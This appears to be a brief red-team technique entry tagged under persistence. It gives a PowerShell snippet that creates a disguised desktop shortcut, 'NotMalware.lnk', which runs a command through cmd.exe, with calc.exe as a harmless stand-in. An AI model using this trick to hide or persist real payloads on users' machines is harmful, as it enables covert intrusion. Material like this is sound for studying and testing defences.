Secondary Categories: 02-Persistence

Create a shortcut link and modify the arguments to execute a file of your choice.

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\NotMalware.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c calc.exe"
$Shortcut.Save()
 

Also Check Out:

  • PLACEHOLDER